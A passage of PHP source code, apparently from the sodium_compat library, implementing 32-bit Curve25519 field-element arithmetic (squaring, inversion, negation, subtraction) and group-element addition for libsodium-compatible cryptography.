$f5g9_38 + $f6g8_19 + $f7g7_38 + $f8g6_19 + $f9g5_38; $h4 = $f0g4->addInt64($f1g3_2)->addInt64($f2g2)->addInt64($f3g1_2) ->addInt64($f4g0)->addInt64($f5g9_38)->addInt64($f6g8_19) ->addInt64($f7g7_38)->addInt64($f8g6_19)->addInt64($f9g5_38); // $h5 = $f0g5 + $f1g4 + $f2g3 + $f3g2 + $f4g1 + $f5g0 + $f6g9_19 + $f7g8_19 + $f8g7_19 + $f9g6_19; $h5 = $f0g5->addInt64($f1g4)->addInt64($f2g3)->addInt64($f3g2) ->addInt64($f4g1)->addInt64($f5g0)->addInt64($f6g9_19) ->addInt64($f7g8_19)->addInt64($f8g7_19)->addInt64($f9g6_19); // $h6 = $f0g6 + $f1g5_2 + $f2g4 + $f3g3_2 + $f4g2 + $f5g1_2 + $f6g0 + $f7g9_38 + $f8g8_19 + $f9g7_38; $h6 = $f0g6->addInt64($f1g5_2)->addInt64($f2g4)->addInt64($f3g3_2) ->addInt64($f4g2)->addInt64($f5g1_2)->addInt64($f6g0) ->addInt64($f7g9_38)->addInt64($f8g8_19)->addInt64($f9g7_38); // $h7 = $f0g7 + $f1g6 + $f2g5 + $f3g4 + $f4g3 + $f5g2 + $f6g1 + $f7g0 + $f8g9_19 + $f9g8_19; $h7 = $f0g7->addInt64($f1g6)->addInt64($f2g5)->addInt64($f3g4) ->addInt64($f4g3)->addInt64($f5g2)->addInt64($f6g1) ->addInt64($f7g0)->addInt64($f8g9_19)->addInt64($f9g8_19); // $h8 = $f0g8 + $f1g7_2 + $f2g6 + $f3g5_2 + $f4g4 + $f5g3_2 + $f6g2 + $f7g1_2 + $f8g0 + $f9g9_38; $h8 = $f0g8->addInt64($f1g7_2)->addInt64($f2g6)->addInt64($f3g5_2) ->addInt64($f4g4)->addInt64($f5g3_2)->addInt64($f6g2) ->addInt64($f7g1_2)->addInt64($f8g0)->addInt64($f9g9_38); // $h9 = $f0g9 + $f1g8 + $f2g7 + $f3g6 + $f4g5 + $f5g4 + $f6g3 + $f7g2 + $f8g1 + $f9g0 ; $h9 = $f0g9->addInt64($f1g8)->addInt64($f2g7)->addInt64($f3g6) ->addInt64($f4g5)->addInt64($f5g4)->addInt64($f6g3) ->addInt64($f7g2)->addInt64($f8g1)->addInt64($f9g0); /** * @var ParagonIE_Sodium_Core32_Int64 $h0 * @var ParagonIE_Sodium_Core32_Int64 $h1 * @var ParagonIE_Sodium_Core32_Int64 $h2 * @var ParagonIE_Sodium_Core32_Int64 $h3 * @var ParagonIE_Sodium_Core32_Int64 $h4 * @var ParagonIE_Sodium_Core32_Int64 $h5 * @var ParagonIE_Sodium_Core32_Int64 $h6 * @var ParagonIE_Sodium_Core32_Int64 $h7 * @var ParagonIE_Sodium_Core32_Int64 $h8 * @var ParagonIE_Sodium_Core32_Int64 $h9 * @var ParagonIE_Sodium_Core32_Int64 $carry0 * @var ParagonIE_Sodium_Core32_Int64 $carry1 * @var ParagonIE_Sodium_Core32_Int64 $carry2 * @var ParagonIE_Sodium_Core32_Int64 $carry3 * @var ParagonIE_Sodium_Core32_Int64 $carry4 * @var ParagonIE_Sodium_Core32_Int64 $carry5 * @var ParagonIE_Sodium_Core32_Int64 $carry6 * @var ParagonIE_Sodium_Core32_Int64 $carry7 * @var ParagonIE_Sodium_Core32_Int64 $carry8 * @var ParagonIE_Sodium_Core32_Int64 $carry9 */ $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry1 = $h1->addInt(1 << 24)->shiftRight(25); $h2 = $h2->addInt64($carry1); $h1 = $h1->subInt64($carry1->shiftLeft(25)); $carry5 = $h5->addInt(1 << 24)->shiftRight(25); $h6 = $h6->addInt64($carry5); $h5 = $h5->subInt64($carry5->shiftLeft(25)); $carry2 = $h2->addInt(1 << 25)->shiftRight(26); $h3 = $h3->addInt64($carry2); $h2 = $h2->subInt64($carry2->shiftLeft(26)); $carry6 = $h6->addInt(1 << 25)->shiftRight(26); $h7 = $h7->addInt64($carry6); $h6 = $h6->subInt64($carry6->shiftLeft(26)); $carry3 = $h3->addInt(1 << 24)->shiftRight(25); $h4 = $h4->addInt64($carry3); $h3 = $h3->subInt64($carry3->shiftLeft(25)); $carry7 = $h7->addInt(1 << 24)->shiftRight(25); $h8 = $h8->addInt64($carry7); $h7 = $h7->subInt64($carry7->shiftLeft(25)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry8 = $h8->addInt(1 << 25)->shiftRight(26); $h9 = $h9->addInt64($carry8); $h8 = $h8->subInt64($carry8->shiftLeft(26)); $carry9 = $h9->addInt(1 << 24)->shiftRight(25); $h0 = $h0->addInt64($carry9->mulInt(19, 5)); $h9 = $h9->subInt64($carry9->shiftLeft(25)); $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( $h0->toInt32(), $h1->toInt32(), $h2->toInt32(), $h3->toInt32(), $h4->toInt32(), $h5->toInt32(), $h6->toInt32(), $h7->toInt32(), $h8->toInt32(), $h9->toInt32() ) ); } /** * Get the negative values for each piece of the field element. * * h = -f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @psalm-suppress MixedAssignment * @psalm-suppress MixedMethodCall */ public static function fe_neg(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { $h = new ParagonIE_Sodium_Core32_Curve25519_Fe(); for ($i = 0; $i < 10; ++$i) { $h[$i] = $h[$i]->subInt32($f[$i]); } return $h; } /** * Square a field element * * h = f * f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError * @psalm-suppress MixedMethodCall */ public static function fe_sq(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { $f0 = $f[0]->toInt64(); $f1 = $f[1]->toInt64(); $f2 = $f[2]->toInt64(); $f3 = $f[3]->toInt64(); $f4 = $f[4]->toInt64(); $f5 = $f[5]->toInt64(); $f6 = $f[6]->toInt64(); $f7 = $f[7]->toInt64(); $f8 = $f[8]->toInt64(); $f9 = $f[9]->toInt64(); $f0_2 = $f0->shiftLeft(1); $f1_2 = $f1->shiftLeft(1); $f2_2 = $f2->shiftLeft(1); $f3_2 = $f3->shiftLeft(1); $f4_2 = $f4->shiftLeft(1); $f5_2 = $f5->shiftLeft(1); $f6_2 = $f6->shiftLeft(1); $f7_2 = $f7->shiftLeft(1); $f5_38 = $f5->mulInt(38, 6); $f6_19 = $f6->mulInt(19, 5); $f7_38 = $f7->mulInt(38, 6); $f8_19 = $f8->mulInt(19, 5); $f9_38 = $f9->mulInt(38, 6); $f0f0 = $f0->mulInt64($f0, 28); $f0f1_2 = $f0_2->mulInt64($f1, 28); $f0f2_2 = $f0_2->mulInt64($f2, 28); $f0f3_2 = $f0_2->mulInt64($f3, 28); $f0f4_2 = $f0_2->mulInt64($f4, 28); $f0f5_2 = $f0_2->mulInt64($f5, 28); $f0f6_2 = $f0_2->mulInt64($f6, 28); $f0f7_2 = $f0_2->mulInt64($f7, 28); $f0f8_2 = $f0_2->mulInt64($f8, 28); $f0f9_2 = $f0_2->mulInt64($f9, 28); $f1f1_2 = $f1_2->mulInt64($f1, 28); $f1f2_2 = $f1_2->mulInt64($f2, 28); $f1f3_4 = $f1_2->mulInt64($f3_2, 28); $f1f4_2 = $f1_2->mulInt64($f4, 28); $f1f5_4 = $f1_2->mulInt64($f5_2, 30); $f1f6_2 = $f1_2->mulInt64($f6, 28); $f1f7_4 = $f1_2->mulInt64($f7_2, 28); $f1f8_2 = $f1_2->mulInt64($f8, 28); $f1f9_76 = $f9_38->mulInt64($f1_2, 30); $f2f2 = $f2->mulInt64($f2, 28); $f2f3_2 = $f2_2->mulInt64($f3, 28); $f2f4_2 = $f2_2->mulInt64($f4, 28); $f2f5_2 = $f2_2->mulInt64($f5, 28); $f2f6_2 = $f2_2->mulInt64($f6, 28); $f2f7_2 = $f2_2->mulInt64($f7, 28); $f2f8_38 = $f8_19->mulInt64($f2_2, 30); $f2f9_38 = $f9_38->mulInt64($f2, 30); $f3f3_2 = $f3_2->mulInt64($f3, 28); $f3f4_2 = $f3_2->mulInt64($f4, 28); $f3f5_4 = $f3_2->mulInt64($f5_2, 30); $f3f6_2 = $f3_2->mulInt64($f6, 28); $f3f7_76 = $f7_38->mulInt64($f3_2, 30); $f3f8_38 = $f8_19->mulInt64($f3_2, 30); $f3f9_76 = $f9_38->mulInt64($f3_2, 30); $f4f4 = $f4->mulInt64($f4, 28); $f4f5_2 = $f4_2->mulInt64($f5, 28); $f4f6_38 = $f6_19->mulInt64($f4_2, 30); $f4f7_38 = $f7_38->mulInt64($f4, 30); $f4f8_38 = $f8_19->mulInt64($f4_2, 30); $f4f9_38 = $f9_38->mulInt64($f4, 30); $f5f5_38 = $f5_38->mulInt64($f5, 30); $f5f6_38 = $f6_19->mulInt64($f5_2, 30); $f5f7_76 = $f7_38->mulInt64($f5_2, 30); $f5f8_38 = $f8_19->mulInt64($f5_2, 30); $f5f9_76 = $f9_38->mulInt64($f5_2, 30); $f6f6_19 = $f6_19->mulInt64($f6, 30); $f6f7_38 = $f7_38->mulInt64($f6, 30); $f6f8_38 = $f8_19->mulInt64($f6_2, 30); $f6f9_38 = $f9_38->mulInt64($f6, 30); $f7f7_38 = $f7_38->mulInt64($f7, 28); $f7f8_38 = $f8_19->mulInt64($f7_2, 30); $f7f9_76 = $f9_38->mulInt64($f7_2, 30); $f8f8_19 = $f8_19->mulInt64($f8, 30); $f8f9_38 = $f9_38->mulInt64($f8, 30); $f9f9_38 = $f9_38->mulInt64($f9, 28); $h0 = $f0f0->addInt64($f1f9_76)->addInt64($f2f8_38)->addInt64($f3f7_76)->addInt64($f4f6_38)->addInt64($f5f5_38); $h1 = $f0f1_2->addInt64($f2f9_38)->addInt64($f3f8_38)->addInt64($f4f7_38)->addInt64($f5f6_38); $h2 = $f0f2_2->addInt64($f1f1_2)->addInt64($f3f9_76)->addInt64($f4f8_38)->addInt64($f5f7_76)->addInt64($f6f6_19); $h3 = $f0f3_2->addInt64($f1f2_2)->addInt64($f4f9_38)->addInt64($f5f8_38)->addInt64($f6f7_38); $h4 = $f0f4_2->addInt64($f1f3_4)->addInt64($f2f2)->addInt64($f5f9_76)->addInt64($f6f8_38)->addInt64($f7f7_38); $h5 = $f0f5_2->addInt64($f1f4_2)->addInt64($f2f3_2)->addInt64($f6f9_38)->addInt64($f7f8_38); $h6 = $f0f6_2->addInt64($f1f5_4)->addInt64($f2f4_2)->addInt64($f3f3_2)->addInt64($f7f9_76)->addInt64($f8f8_19); $h7 = $f0f7_2->addInt64($f1f6_2)->addInt64($f2f5_2)->addInt64($f3f4_2)->addInt64($f8f9_38); $h8 = $f0f8_2->addInt64($f1f7_4)->addInt64($f2f6_2)->addInt64($f3f5_4)->addInt64($f4f4)->addInt64($f9f9_38); $h9 = $f0f9_2->addInt64($f1f8_2)->addInt64($f2f7_2)->addInt64($f3f6_2)->addInt64($f4f5_2); /** * @var ParagonIE_Sodium_Core32_Int64 $h0 * @var ParagonIE_Sodium_Core32_Int64 $h1 * @var ParagonIE_Sodium_Core32_Int64 $h2 * @var ParagonIE_Sodium_Core32_Int64 $h3 * @var ParagonIE_Sodium_Core32_Int64 $h4 * @var ParagonIE_Sodium_Core32_Int64 $h5 * @var ParagonIE_Sodium_Core32_Int64 $h6 * @var ParagonIE_Sodium_Core32_Int64 $h7 * @var ParagonIE_Sodium_Core32_Int64 $h8 * @var ParagonIE_Sodium_Core32_Int64 $h9 */ $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry1 = $h1->addInt(1 << 24)->shiftRight(25); $h2 = $h2->addInt64($carry1); $h1 = $h1->subInt64($carry1->shiftLeft(25)); $carry5 = $h5->addInt(1 << 24)->shiftRight(25); $h6 = $h6->addInt64($carry5); $h5 = $h5->subInt64($carry5->shiftLeft(25)); $carry2 = $h2->addInt(1 << 25)->shiftRight(26); $h3 = $h3->addInt64($carry2); $h2 = $h2->subInt64($carry2->shiftLeft(26)); $carry6 = $h6->addInt(1 << 25)->shiftRight(26); $h7 = $h7->addInt64($carry6); $h6 = $h6->subInt64($carry6->shiftLeft(26)); $carry3 = $h3->addInt(1 << 24)->shiftRight(25); $h4 = $h4->addInt64($carry3); $h3 = $h3->subInt64($carry3->shiftLeft(25)); $carry7 = $h7->addInt(1 << 24)->shiftRight(25); $h8 = $h8->addInt64($carry7); $h7 = $h7->subInt64($carry7->shiftLeft(25)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry8 = $h8->addInt(1 << 25)->shiftRight(26); $h9 = $h9->addInt64($carry8); $h8 = $h8->subInt64($carry8->shiftLeft(26)); $carry9 = $h9->addInt(1 << 24)->shiftRight(25); $h0 = $h0->addInt64($carry9->mulInt(19, 5)); $h9 = $h9->subInt64($carry9->shiftLeft(25)); $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( $h0->toInt32(), $h1->toInt32(), $h2->toInt32(), $h3->toInt32(), $h4->toInt32(), $h5->toInt32(), $h6->toInt32(), $h7->toInt32(), $h8->toInt32(), $h9->toInt32() ) ); } /** * Square and double a field element * * h = 2 * f * f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError * @psalm-suppress MixedMethodCall */ public static function fe_sq2(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { $f0 = $f[0]->toInt64(); $f1 = $f[1]->toInt64(); $f2 = $f[2]->toInt64(); $f3 = $f[3]->toInt64(); $f4 = $f[4]->toInt64(); $f5 = $f[5]->toInt64(); $f6 = $f[6]->toInt64(); $f7 = $f[7]->toInt64(); $f8 = $f[8]->toInt64(); $f9 = $f[9]->toInt64(); $f0_2 = $f0->shiftLeft(1); $f1_2 = $f1->shiftLeft(1); $f2_2 = $f2->shiftLeft(1); $f3_2 = $f3->shiftLeft(1); $f4_2 = $f4->shiftLeft(1); $f5_2 = $f5->shiftLeft(1); $f6_2 = $f6->shiftLeft(1); $f7_2 = $f7->shiftLeft(1); $f5_38 = $f5->mulInt(38, 6); /* 1.959375*2^30 */ $f6_19 = $f6->mulInt(19, 5); /* 1.959375*2^30 */ $f7_38 = $f7->mulInt(38, 6); /* 1.959375*2^30 */ $f8_19 = $f8->mulInt(19, 5); /* 1.959375*2^30 */ $f9_38 = $f9->mulInt(38, 6); /* 1.959375*2^30 */ $f0f0 = $f0->mulInt64($f0, 28); $f0f1_2 = $f0_2->mulInt64($f1, 28); $f0f2_2 = $f0_2->mulInt64($f2, 28); $f0f3_2 = $f0_2->mulInt64($f3, 28); $f0f4_2 = $f0_2->mulInt64($f4, 28); $f0f5_2 = $f0_2->mulInt64($f5, 28); $f0f6_2 = $f0_2->mulInt64($f6, 28); $f0f7_2 = $f0_2->mulInt64($f7, 28); $f0f8_2 = $f0_2->mulInt64($f8, 28); $f0f9_2 = $f0_2->mulInt64($f9, 28); $f1f1_2 = $f1_2->mulInt64($f1, 28); $f1f2_2 = $f1_2->mulInt64($f2, 28); $f1f3_4 = $f1_2->mulInt64($f3_2, 29); $f1f4_2 = $f1_2->mulInt64($f4, 28); $f1f5_4 = $f1_2->mulInt64($f5_2, 29); $f1f6_2 = $f1_2->mulInt64($f6, 28); $f1f7_4 = $f1_2->mulInt64($f7_2, 29); $f1f8_2 = $f1_2->mulInt64($f8, 28); $f1f9_76 = $f9_38->mulInt64($f1_2, 29); $f2f2 = $f2->mulInt64($f2, 28); $f2f3_2 = $f2_2->mulInt64($f3, 28); $f2f4_2 = $f2_2->mulInt64($f4, 28); $f2f5_2 = $f2_2->mulInt64($f5, 28); $f2f6_2 = $f2_2->mulInt64($f6, 28); $f2f7_2 = $f2_2->mulInt64($f7, 28); $f2f8_38 = $f8_19->mulInt64($f2_2, 29); $f2f9_38 = $f9_38->mulInt64($f2, 29); $f3f3_2 = $f3_2->mulInt64($f3, 28); $f3f4_2 = $f3_2->mulInt64($f4, 28); $f3f5_4 = $f3_2->mulInt64($f5_2, 28); $f3f6_2 = $f3_2->mulInt64($f6, 28); $f3f7_76 = $f7_38->mulInt64($f3_2, 29); $f3f8_38 = $f8_19->mulInt64($f3_2, 29); $f3f9_76 = $f9_38->mulInt64($f3_2, 29); $f4f4 = $f4->mulInt64($f4, 28); $f4f5_2 = $f4_2->mulInt64($f5, 28); $f4f6_38 = $f6_19->mulInt64($f4_2, 29); $f4f7_38 = $f7_38->mulInt64($f4, 29); $f4f8_38 = $f8_19->mulInt64($f4_2, 29); $f4f9_38 = $f9_38->mulInt64($f4, 29); $f5f5_38 = $f5_38->mulInt64($f5, 29); $f5f6_38 = $f6_19->mulInt64($f5_2, 29); $f5f7_76 = $f7_38->mulInt64($f5_2, 29); $f5f8_38 = $f8_19->mulInt64($f5_2, 29); $f5f9_76 = $f9_38->mulInt64($f5_2, 29); $f6f6_19 = $f6_19->mulInt64($f6, 29); $f6f7_38 = $f7_38->mulInt64($f6, 29); $f6f8_38 = $f8_19->mulInt64($f6_2, 29); $f6f9_38 = $f9_38->mulInt64($f6, 29); $f7f7_38 = $f7_38->mulInt64($f7, 29); $f7f8_38 = $f8_19->mulInt64($f7_2, 29); $f7f9_76 = $f9_38->mulInt64($f7_2, 29); $f8f8_19 = $f8_19->mulInt64($f8, 29); $f8f9_38 = $f9_38->mulInt64($f8, 29); $f9f9_38 = $f9_38->mulInt64($f9, 29); $h0 = $f0f0->addInt64($f1f9_76)->addInt64($f2f8_38)->addInt64($f3f7_76)->addInt64($f4f6_38)->addInt64($f5f5_38); $h1 = $f0f1_2->addInt64($f2f9_38)->addInt64($f3f8_38)->addInt64($f4f7_38)->addInt64($f5f6_38); $h2 = $f0f2_2->addInt64($f1f1_2)->addInt64($f3f9_76)->addInt64($f4f8_38)->addInt64($f5f7_76)->addInt64($f6f6_19); $h3 = $f0f3_2->addInt64($f1f2_2)->addInt64($f4f9_38)->addInt64($f5f8_38)->addInt64($f6f7_38); $h4 = $f0f4_2->addInt64($f1f3_4)->addInt64($f2f2)->addInt64($f5f9_76)->addInt64($f6f8_38)->addInt64($f7f7_38); $h5 = $f0f5_2->addInt64($f1f4_2)->addInt64($f2f3_2)->addInt64($f6f9_38)->addInt64($f7f8_38); $h6 = $f0f6_2->addInt64($f1f5_4)->addInt64($f2f4_2)->addInt64($f3f3_2)->addInt64($f7f9_76)->addInt64($f8f8_19); $h7 = $f0f7_2->addInt64($f1f6_2)->addInt64($f2f5_2)->addInt64($f3f4_2)->addInt64($f8f9_38); $h8 = $f0f8_2->addInt64($f1f7_4)->addInt64($f2f6_2)->addInt64($f3f5_4)->addInt64($f4f4)->addInt64($f9f9_38); $h9 = $f0f9_2->addInt64($f1f8_2)->addInt64($f2f7_2)->addInt64($f3f6_2)->addInt64($f4f5_2); /** * @var ParagonIE_Sodium_Core32_Int64 $h0 * @var ParagonIE_Sodium_Core32_Int64 $h1 * @var ParagonIE_Sodium_Core32_Int64 $h2 * @var ParagonIE_Sodium_Core32_Int64 $h3 * @var ParagonIE_Sodium_Core32_Int64 $h4 * @var ParagonIE_Sodium_Core32_Int64 $h5 * @var ParagonIE_Sodium_Core32_Int64 $h6 * @var ParagonIE_Sodium_Core32_Int64 $h7 * @var ParagonIE_Sodium_Core32_Int64 $h8 * @var ParagonIE_Sodium_Core32_Int64 $h9 */ $h0 = $h0->shiftLeft(1); $h1 = $h1->shiftLeft(1); $h2 = $h2->shiftLeft(1); $h3 = $h3->shiftLeft(1); $h4 = $h4->shiftLeft(1); $h5 = $h5->shiftLeft(1); $h6 = $h6->shiftLeft(1); $h7 = $h7->shiftLeft(1); $h8 = $h8->shiftLeft(1); $h9 = $h9->shiftLeft(1); $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry1 = $h1->addInt(1 << 24)->shiftRight(25); $h2 = $h2->addInt64($carry1); $h1 = $h1->subInt64($carry1->shiftLeft(25)); $carry5 = $h5->addInt(1 << 24)->shiftRight(25); $h6 = $h6->addInt64($carry5); $h5 = $h5->subInt64($carry5->shiftLeft(25)); $carry2 = $h2->addInt(1 << 25)->shiftRight(26); $h3 = $h3->addInt64($carry2); $h2 = $h2->subInt64($carry2->shiftLeft(26)); $carry6 = $h6->addInt(1 << 25)->shiftRight(26); $h7 = $h7->addInt64($carry6); $h6 = $h6->subInt64($carry6->shiftLeft(26)); $carry3 = $h3->addInt(1 << 24)->shiftRight(25); $h4 = $h4->addInt64($carry3); $h3 = $h3->subInt64($carry3->shiftLeft(25)); $carry7 = $h7->addInt(1 << 24)->shiftRight(25); $h8 = $h8->addInt64($carry7); $h7 = $h7->subInt64($carry7->shiftLeft(25)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry8 = $h8->addInt(1 << 25)->shiftRight(26); $h9 = $h9->addInt64($carry8); $h8 = $h8->subInt64($carry8->shiftLeft(26)); $carry9 = $h9->addInt(1 << 24)->shiftRight(25); $h0 = $h0->addInt64($carry9->mulInt(19, 5)); $h9 = $h9->subInt64($carry9->shiftLeft(25)); $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( $h0->toInt32(), $h1->toInt32(), $h2->toInt32(), $h3->toInt32(), $h4->toInt32(), $h5->toInt32(), $h6->toInt32(), $h7->toInt32(), $h8->toInt32(), $h9->toInt32() ) ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $Z * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError */ public static function fe_invert(ParagonIE_Sodium_Core32_Curve25519_Fe $Z) { $z = clone $Z; $t0 = self::fe_sq($z); $t1 = self::fe_sq($t0); $t1 = self::fe_sq($t1); $t1 = self::fe_mul($z, $t1); $t0 = self::fe_mul($t0, $t1); $t2 = self::fe_sq($t0); $t1 = self::fe_mul($t1, $t2); $t2 = self::fe_sq($t1); for ($i = 1; $i < 5; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t2 = self::fe_sq($t1); for ($i = 1; $i < 10; ++$i) { $t2 = self::fe_sq($t2); } $t2 = self::fe_mul($t2, $t1); $t3 = self::fe_sq($t2); for ($i = 1; $i < 20; ++$i) { $t3 = self::fe_sq($t3); } $t2 = self::fe_mul($t3, $t2); $t2 = self::fe_sq($t2); for ($i = 1; $i < 10; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t2 = self::fe_sq($t1); for ($i = 1; $i < 50; ++$i) { $t2 = self::fe_sq($t2); } $t2 = self::fe_mul($t2, $t1); $t3 = self::fe_sq($t2); for ($i = 1; $i < 100; ++$i) { $t3 = self::fe_sq($t3); } $t2 = self::fe_mul($t3, $t2); $t2 = self::fe_sq($t2); for ($i = 1; $i < 50; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); for ($i = 1; $i < 5; ++$i) { $t1 = self::fe_sq($t1); } return self::fe_mul($t1, $t0); } /** * @internal You should not use this directly from another application * * @ref https://github.com/jedisct1/libsodium/blob/68564326e1e9dc57ef03746f85734232d20ca6fb/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1054-L1106 * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $z * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError */ public static function fe_pow22523(ParagonIE_Sodium_Core32_Curve25519_Fe $z) { # fe_sq(t0, z); # fe_sq(t1, t0); # fe_sq(t1, t1); # fe_mul(t1, z, t1); # fe_mul(t0, t0, t1); # fe_sq(t0, t0); # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_sq($z); $t1 = self::fe_sq($t0); $t1 = self::fe_sq($t1); $t1 = self::fe_mul($z, $t1); $t0 = self::fe_mul($t0, $t1); $t0 = self::fe_sq($t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 5; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 5; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 10; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 10; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t1, t1, t0); # fe_sq(t2, t1); $t1 = self::fe_mul($t1, $t0); $t2 = self::fe_sq($t1); # for (i = 1; i < 20; ++i) { # fe_sq(t2, t2); # } for ($i = 1; $i < 20; ++$i) { $t2 = self::fe_sq($t2); } # fe_mul(t1, t2, t1); # fe_sq(t1, t1); $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); # for (i = 1; i < 10; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 10; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 50; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 50; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t1, t1, t0); # fe_sq(t2, t1); $t1 = self::fe_mul($t1, $t0); $t2 = self::fe_sq($t1); # for (i = 1; i < 100; ++i) { # fe_sq(t2, t2); # } for ($i = 1; $i < 100; ++$i) { $t2 = self::fe_sq($t2); } # fe_mul(t1, t2, t1); # fe_sq(t1, t1); $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); # for (i = 1; i < 50; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 50; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t0, t0); # fe_sq(t0, t0); # fe_mul(out, t0, z); $t0 = self::fe_mul($t1, $t0); $t0 = self::fe_sq($t0); $t0 = self::fe_sq($t0); return self::fe_mul($t0, $z); } /** * Subtract two field elements. * * h = f - g * * Preconditions: * |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. * |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. * * Postconditions: * |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError * @psalm-suppress MixedMethodCall * @psalm-suppress MixedTypeCoercion */ public static function fe_sub(ParagonIE_Sodium_Core32_Curve25519_Fe $f, ParagonIE_Sodium_Core32_Curve25519_Fe $g) { return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( $f[0]->subInt32($g[0]), $f[1]->subInt32($g[1]), $f[2]->subInt32($g[2]), $f[3]->subInt32($g[3]), $f[4]->subInt32($g[4]), $f[5]->subInt32($g[5]), $f[6]->subInt32($g[6]), $f[7]->subInt32($g[7]), $f[8]->subInt32($g[8]), $f[9]->subInt32($g[9]) ) ); } /** * Add two group elements. * * r = p + q * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ public static function ge_add( ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q ) { $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1(); $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->YplusX); $r->Y = self::fe_mul($r->Y, $q->YminusX); $r->T = self::fe_mul($q->T2d, $p->T); $r->X = self::fe_mul($p->Z, $q->Z); $t0 = self::fe_add($r->X, $r->X); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_add($t0, $r->T); $r->T = self::fe_sub($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application 